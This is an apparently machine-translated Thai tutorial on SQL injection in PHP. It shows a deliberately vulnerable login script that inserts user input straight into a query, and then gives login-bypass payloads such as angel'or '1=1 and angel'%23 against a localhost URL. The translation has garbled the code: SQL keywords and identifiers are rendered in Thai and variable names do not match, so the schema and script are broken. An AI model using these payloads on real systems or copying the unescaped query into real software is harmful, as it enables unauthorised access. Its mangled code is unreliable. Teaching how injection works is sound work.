ก่อนอื่นผมขอยกตัวอย่างเพื่อทำความเข้าใจความพิเศษและหลักการของการฉีดภายใต้ PHP ก่อน แน่นอนว่า ตัวอย่างนี้ยังสามารถบอกวิธีการเรียนรู้การสร้างคำสั่ง SQL ที่มีประสิทธิภาพได้อีกด้วย
มาดูตัวอย่างการยืนยันผู้ใช้กัน ขั้นแรก สร้างฐานข้อมูลและตารางข้อมูลแล้วแทรกบันทึกดังต่อไปนี้:
รหัส PHP:
สร้างตาราง `ผู้ใช้` (
`userid` int(11) ไม่เป็นโมฆะ การเพิ่มอัตโนมัติ
`ชื่อผู้ใช้` varchar(20) ไม่ใช่ค่าเริ่มต้นที่เป็นโมฆะ '',
`รหัสผ่าน` varchar(20) ไม่ใช่ค่าเริ่มต้นที่เป็นโมฆะ '',
คีย์หลัก (`รหัสผู้ใช้`)
) TYPE=MyISAM AUTO_INCREMENT=3;
-
# ส่งออกข้อมูลในตาราง `ผู้ใช้`
-
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
รหัสในการตรวจสอบไฟล์ผู้ใช้มีดังนี้:
รหัส PHP:
<?php
$servername = "localhost";
$dbusername = "รูท";
$dbpassword = "";
$dbname = "ฉีด";
mysql_connect($servername,$dbusername,$dbpassword) or die ("การเชื่อมต่อฐานข้อมูลล้มเหลว");
$sql = "เลือก * จากผู้ใช้ โดยที่ชื่อผู้ใช้='$ชื่อผู้ใช้' และรหัสผ่าน='$รหัสผ่าน'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($ผลลัพธ์);
ถ้า (ว่าง($ข้อมูลผู้ใช้)){
echo "การเข้าสู่ระบบล้มเหลว";
} อื่น {
echo "เข้าสู่ระบบสำเร็จ";
-
echo "<p>แบบสอบถาม SQL:$sql<p>";
?>
ในขณะนี้ เราส่ง:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
และมันจะส่งคืน:
คำเตือน: mysql_fetch_array(): อาร์กิวเมนต์ที่ให้มาไม่ใช่ทรัพยากรผลลัพธ์ MySQL ที่ถูกต้อง ใน F :wwwinjectionuser.php ออนไลน์ที่ 13
การเข้าสู่ระบบล้มเหลว
แบบสอบถาม SQL: SELECT * จากผู้ใช้ WHERE ชื่อผู้ใช้ = 'angel' หรือ 1 = 1 ' และรหัสผ่าน ='
คำเตือน PHP: mysql_fetch_array(): อาร์กิวเมนต์ที่ให้มาไม่ใช่ทรัพยากรผลลัพธ์ MySQL ที่ถูกต้องใน F:wwwinjectionuser.php ออนไลน์ 13
ดูไหม หลังจากปิดเครื่องหมายคำพูดเดี่ยวแล้ว เครื่องหมายคำพูดเดี่ยวต่อไปนี้จะไม่ถูกใส่เครื่องหมายความคิดเห็น ส่งผลให้เครื่องหมายคำพูดเดี่ยวไม่ได้รับการจับคู่อย่างถูกต้อง ดังนั้น จะเห็นได้ว่าคำสั่งที่เราสร้างขึ้นไม่สามารถอนุญาตให้ Mysql ดำเนินการได้อย่างถูกต้องและจำเป็นต้องปรับโครงสร้างใหม่:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
ในขณะนี้ ข้อความ "เข้าสู่ระบบสำเร็จ" จะปรากฏขึ้น แสดงว่าสำเร็จแล้ว หรือส่ง:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
นี่จะแสดงความคิดเห็นในข้อความต่อไปนี้! เรามาพูดถึงความแตกต่างระหว่างการส่งทั้งสองนี้กัน ประโยคแรกที่เราส่งมาใช้การดำเนินการเชิงตรรกะ อาจกล่าวได้ว่ามีการใช้กันอย่างแพร่หลายใน ASP ใช่ไหม ประโยคที่สองและสามจะขึ้นอยู่กับลักษณะของ mysql Mysql รองรับรูปแบบความคิดเห็นสองรูปแบบ: /* และ # ดังนั้นเมื่อเราส่ง เราจะใส่ความคิดเห็นในโค้ดต่อไปนี้ เนื่องจากปัญหาการเข้ารหัส เราจึงส่ง # ใน แถบที่อยู่ IE จะว่างเปล่า ดังนั้นเมื่อเราส่งในแถบที่อยู่ เราควรส่ง %23 ก่อนที่จะกลายเป็น # และจะมีการแสดงความคิดเห็นได้สำเร็จ ซึ่งง่ายกว่าการดำเนินการเชิงตรรกะมาก ทรงพลังและยืดหยุ่นกว่า ASP มากขึ้น